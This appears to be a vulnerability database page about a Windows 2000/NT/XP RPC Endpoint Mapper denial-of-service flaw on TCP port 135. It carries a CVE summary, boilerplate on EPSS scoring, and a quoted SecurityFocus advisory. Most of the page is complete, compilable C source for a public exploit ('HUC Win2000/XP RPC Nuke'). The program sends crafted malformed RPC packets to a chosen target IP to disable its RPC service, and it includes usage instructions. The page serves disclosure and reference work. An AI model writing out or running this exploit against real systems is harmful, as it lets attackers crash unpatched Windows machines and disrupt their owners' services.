CVE Descriptions

The RPC component in Windows 2000, Windows NT 4.0, and Windows XP allows remote attackers to cause a denial of service (disabled RPC service) via a malformed packet to the RPC Endpoint Mapper at TCP port 135, which triggers a null pointer dereference.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

// source: https://www.securityfocus.com/bid/6005/info The Microsoft Windows RPC service contains a flaw that may allow a remote attacker to cause a denial of service. By sending a specifically malformed packet to TCP port 135, the RPC service will be disabled. This vulnerability was originally reported to only affect Windows 2000. Microsoft has confirmed that Windows NT 4.0 and XP are also vulnerable. It has been reported that installation of the provided patch will cause some problems in IIS environments. Specifically, users who are using COM+ in IIS environments may experience problems with ASP transactions. A variant of this issue has been reported which allegedly affects patched systems. It is apparently possible to trigger this variant by flooding a system with malformed packets. /* ************************************************************************ * MS WIN RPC DoS CODE FROM SPIKE v2.7 * * Compile it use: * cl winnuke.c * * Usage: * winnuke targetip * * Code by lion, Welcomde to HUC Website Http://www.cnhonker.com * 2002/10/22 ************************************************************************ */ #include <winsock2.h> #include <stdio.h> #pragma comment(lib, "ws2_32.lib") char sendcode1[] = "\x05\x00\x0b\x03\x10\x00\x00\x00\x48\x00\x00\x00\x02\x00\x00\x00" "\xd0\x16\xd0\x16\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00" "\x60\x9e\xe7\xb9\x52\x3d\xce\x11\xaa\xa1\x00\x00\x69\x01\x29\x3f" "\x02\x00\x02\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00" "\x2b\x10\x48\x60\x02\x00\x00\x00\x05\x00\x00\x01\x10\x00\x00\x00" "\xd0\x16\x00\x00\x8f\x00\x00\x00\x20\x27\x01\x00\x00\x00\x02\x00" "\xf0\x00\x00\x00\x00\x00\x00\x00\xf0\x00\x00\x00"; char sendcode2[] = "\x88\x13\x00\x00\x00\x00\x00\x00\x88\x13\x00\x00"; char sendcode3[] = "\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00"; char sendcode4[] = "\xfe\xff\x00\x00\x00\x00\x00\x00\xfe\xff\x00\x00\x3d\x3d\x3d\x3d" "\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d" "\x05\x00\x00\x00\x10\x00\x00\x00\xd0\x16\x00\x00\x8f\x00\x00\x00" "\x50\x10\x01\x00\x00\x00\x02\x00"; char sendcode5[] = "\x05\x00\x00\x00\x10\x00\x00\x00\xd0\x16\x00\x00\x8f\x00\x00\x00" "\x80\xf9\x00\x00\x00\x00\x02\x00"; char sendcode6[] = "\x05\x00\x00\x00\x10\x00\x00\x00\xd0\x16\x00\x00\x8f\x00\x00\x00" "\xb0\xe2\x00\x00\x00\x00\x02\x00"; char sendcode7[] = "\x05\x00\x00\x02\x10\x00\x00\x00\x60\x15\x00\x00\x8f\x00\x00\x00" "\x60\x15\x00\x00\x00\x00\x02\x00"; char sendcode8[] = "\x00\x00\x01\x10\x00\x00\x00\x00\x00\x00\x01\x10\x00\x00"; int main(int argc, char *argv[]) { WSADATA wsaData; WORD wVersionRequested; struct hostent *pTarget; struct sockaddr_in sock; char *targetip; int port,bufsize; SOCKET s; char buffer[20480]; printf("========================= HUC Win2000/XP RPC Nuke V0.10 =======================\r\n"); printf("================= By Lion, Welcome to http://www.cnhonker.com =================\r\n\n"); if (argc < 2) { printf("Usage:\r\n"); printf(" %s <TargetIP> [TargetPort]\r\n", argv[0]); printf("Example:\r\n"); printf(" %s 192.168.0.1\r\n", argv[0]); printf(" %s 192.168.0.1 135\r\n", argv[0]); printf("PS:\r\n"); printf(" If target is XP, try 2 times.\r\n"); exit(1); } wVersionRequested = MAKEWORD(1, 1); if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1; targetip = argv[1]; port = 135; if (argc >= 3) port = atoi(argv[2]); bufsize = 512; if (argc >= 4) bufsize = atoi(argv[3]); s = socket(AF_INET, SOCK_STREAM, 0); if(s==INVALID_SOCKET) { printf("Socket error!\r\n"); exit(1); } printf("Resolving Hostnames...\n"); if ((pTarget = gethostbyname(targetip)) == NULL) { printf("Resolve of %s failed, please try again.\n", argv[1]); exit(1); } memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length); sock.sin_family = AF_INET; sock.sin_port = htons((USHORT)port); printf("Connecting...\n"); if ( (connect(s, (struct sockaddr *)&sock, sizeof (sock) ))) { printf("Couldn't connect to host.\n"); exit(1); } printf("Connected!...\n"); printf("Sending Packets...\n"); if (send(s, sendcode1, sizeof(sendcode1)-1, 0) == -1) { printf("Error sending nuke Packets\r\n"); closesocket(s); exit(1); } memset(&buffer, '\x41', 240); send(s, buffer, 240, 0); send(s, sendcode2, sizeof(sendcode2)-1, 0); memset(&buffer, '\x42', 5000); send(s, buffer, 5000, 0); send(s, sendcode3, sizeof(sendcode3)-1, 0); memset(&buffer, '\x43', 512); send(s, buffer, 512, 0); send(s, sendcode4, sizeof(sendcode4)-1, 0); // memset(&buffer, '\x44', 20480); // send(s, buffer, 20480, 0); // /* memset(&buffer, '\x44', 5000); send(s, buffer, 5000, 0); send(s, sendcode5, sizeof(sendcode5)-1, 0); memset(&buffer, '\x45', 5000); send(s, buffer, 5000, 0); send(s, sendcode6, sizeof(sendcode6)-1, 0); memset(&buffer, '\x46', 5000); send(s, buffer, 5000, 0); send(s, sendcode7, sizeof(sendcode7)-1, 0); memset(&buffer, '\x47', 5000); send(s, buffer, 5000, 0); send(s, sendcode8, sizeof(sendcode8)-1, 0); memset(&buffer, '\x48', 5000); send(s, buffer, 5000, 0); // */ printf("Nuked! \r\nIf target is XP, try a again! :)\r\n"); closesocket(s); WSACleanup(); return 0; }
